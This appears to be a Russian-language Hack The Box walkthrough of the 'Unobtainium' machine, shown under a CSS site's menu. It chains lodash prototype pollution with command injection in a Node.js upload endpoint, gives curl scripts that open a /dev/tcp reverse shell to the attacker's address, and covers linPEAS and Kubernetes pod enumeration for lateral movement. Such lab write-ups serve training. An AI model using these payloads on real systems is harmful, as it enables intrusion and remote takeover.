Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем адрес машины 10.10.10.235 в файл /
как unobtainium.
и запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем восемь открытых портов:
Начнем с осмотра сайта.
Здесь нам дают только скачать какое‑то приложение, что мы и делаем. Скачиваем пакет .deb и разворачиваем, чтобы не устанавливать на локальный хост. Затем находим исполняемый файл и запускаем приложение.
mkdir ubo ; cd mkdir
dpkg-deb -xvunobtainium_1.0.0_amd64.deb .
./opt/unobtainium
Распаковка пакета debГлавное окно приложенияИзучив приложение, понимаем, что оно имеет клиент‑серверную архитектуру. Здесь есть форма отправки сообщений и возможность смотреть список дел.
Список выглядит вот так:
Итак, мы узнали, что используется технология Node.js, есть авторизация и разделение привилегий (пункт 1). Поскольку приложение — это клиент, можем предположить, что оно стучится на порт 31337, обнаруженный нами при сканировании. Нам нужно проверить это предположение, а поможет нам в этом Wireshark. Открываем его и запускаем наше приложение снова.
Видим, что приложение работает по HTTP и действительно подключается к порту 31337.
Попробуем вручную использовать функции приложения, чтобы узнать, как именно они работают. Запросим список дел и отправим какое‑нибудь сообщение.
Мы можем скопировать оба запроса и перенести их в Burp Repeater для дальнейшего тестирования. Также для удобства можно переименовать вкладки.
PUT / HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 79
Accept: application/json, text/jаvascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ru
{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/jаvascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ru
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
Запросы в Burp RepeaterВ обоих запросах мест для тестирования два: это параметр text
при отправке сообщения и filename
при запросе файла todo.
. Попытка запросить другие файлы (например, /
) ни к чему не привела, а если точнее, привела к зависанию приложения. Но вот в случае пустого запроса мы получим ошибку.
В тексте ошибки видим несколько раскрытых путей к файлам. Так как используется Node.js, запросим важный файл index.
. Поскольку содержимое файла неформатированное, для удобства отправим его в расширение Burp Hackvector. Выбираем String → Replace и меняем последовательности n
, t
и "
на n
, t
и "
.
Код на скриншот не помещается, поэтому приведу его ниже.
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users =[
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth){
return users.find((u) => u.name === auth.name && u.password === auth.password;
}
app.use(bodyParser.json());
app.get('/', (req, res) => { res.send(messages); });
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = { icon: '__', };
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');
В самом начале подключаются некоторые библиотеки. Так как это Node.js, мы можем запросить файл package.
, чтобы узнать версии подключаемых библиотек.
У нас есть следующие зависимости:
Нам известны технологии, поэтому следует поискать готовые эксплоиты, чтобы понять, какие могут быть уязвимости. Делать это лучше всего при помощи Google.
Так мы находим две уязвимости в модулях google-cloudstorage-commands и lodash. Первая может дать нам OS Command injection, то есть, другими словами, удаленное выполнение команд. У нас уже есть уязвимый блок кода (ниже приведены скрины из PoC и кода index.
).
При передаче параметра filename
методом POST на страницу /
мы можем выполнить команду. Но перед этим сервер проверяет, имеет ли данный пользователь свойство canUpload
.
Этих свойств у нас нет, но можем их получить. В этом поможет критическая уязвимость в библиотеке lodash. Мы можем использовать атрибут constructor
объекта, представляющего пользователя, чтобы активировать данные привилегии. И у нас снова есть уязвимый блок кода (ниже приведены скрины из PoC и кода index.
).
При передаче параметра text
методом PUT на страницу /
мы сможем выполнить опасное слияние объектов.
Давай проэксплуатируем это и активируем у себя свойства canUpload
и canDelete
. Для этого отправим следующее сообщение:
{
"text":{
"constructor":{
"prototype":{
"canDelete":true,
"canUpload":true
}
}
}
}
}
Активация привилегийПолучили ответ, что все выполнено без ошибок. Теперь для проверки выполним команду id
, как было описано выше. Результат запишем в файл.
Осталось прочесть содержимое файла легитимным способом.
Как можно увидеть, команда успешно выполнена, а вся наша концепция получила подтверждение. Можно выполнить реверс‑шелл.
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Чтобы быстро восстанавливать соединение в случае его потери, я написал маленький скрипт на Bash, содержащий две команды. Это те же команды, что представлены в запросах выше, только без чтения файла.
#!/bin/bash
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://unobtainium.htb:31337/
curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}'http://unobtainium.htb:31337/upload
Флаг пользователя Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Для этого я обычно использую скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его надо сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -mhttp.server
А теперь с помощью того же wget
на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod+x linpeas.sh
./linpeas.sh
Из вывода LinPEAS я узнал, что на хосте работает пользовательская задача в cron. Каждую минуту происходит поиск и удаление файла kubectl
. А это означает использование оркестратора Kubernetes.
Kubernetes позволяет управлять кластером контейнеров Linux как единой системой. Kubernetes управляет контейнерами Docker, запускает их на большом количестве хостов, а также обеспечивает совместное размещение и репликацию большого количества контейнеров. Что нам нужно понимать при работе с Kubernetes:
Для работы с кубером нам нужен kubectl, а он удаляется раз в минуту. Скачаем его на локальную машину, а затем загрузим на удаленный хост таким же способом, как и LinPEAS. Я загружаю его под именем kctl
.
Теперь файл удаляться не будет, можем поработать с Kubernetes. Благодаря kubectl нам доступна команда can-i
, с помощью которой мы можем проверить свои привилегии на то или иное действие. В ответ будет возвращаться yes
или no
.
В кластере Kubernetes объекты secret
предназначены для хранения конфиденциальной информации, такой как пароли, токены OAuth или ключи SSH. И это первое, что нужно проверить.
kubectl auth can-i list secrets
Проверка секретовК сожалению, мы не можем просмотреть секреты. Следующее, что нужно проверить, — это пространства имен (namespaces
) — виртуальные кластеры, работающие в одном и том же физическом кластере. Namespaces предоставляют набор уникальных имен для ресурсов. Давай узнаем, можем ли мы получить их.
kubectl auth can-i list namespaces
Проверка пространств именМы можем получить пространства имен следующей простой командой.
kubectl get namespaces
Получение namespacesПо умолчанию в кластере Kubernetes будет создано пространство имен default
, в котором размещаются запускаемые объекты. Пространства kube-public
и kube-system
используются для запуска служебных объектов Kubernetes, необходимых для корректной работы кластера. Но нам (судя по названию) больше интересно пространство имен dev
и системный kube-system
. Но ни в первом, ни во втором пространстве доступа к секретам не имеем.
kubectl auth can-i list secrets -n dev
kubectl auth can-i list secrets -nkube-system
Проверка секретовС секретами не получилось, посмотрим на поды. Каждый pod состоит из одного или нескольких контейнеров, хранилища, отдельного IP-адреса и опций, которые определяют, как именно контейнеры должны запускаться. Также pod представляет собой некий запущенный процесс в кластере Kubernetes. Но чаще всего в подах используются контейнеры Docker. Посмотрим, можем ли мы получить поды из пространства dev
, а после положительного ответа получим их список.
kubectl auth can-i list pods -n dev
kubectl get pods -n dev
Получение подов в пространстве devДавай получим описание пода. Так как это целый контейнер, нам интересна возможность распространения по сети, а из описания сможем узнать адрес.
kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Описание подаТак, из описания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.
и открытый порт 3000
. Оказалось, что там работает такой же сервис, поэтому мы можем получить доступ уже имеющимся скриптом. Запустим листенер на другом порте локального хоста (я запустил на 5432) и выполним бэкконнект.
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://172.17.0.8:3000/; echo
curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}'http://172.17.0.8:3000/upload
Созданный реверс‑шелл
|
|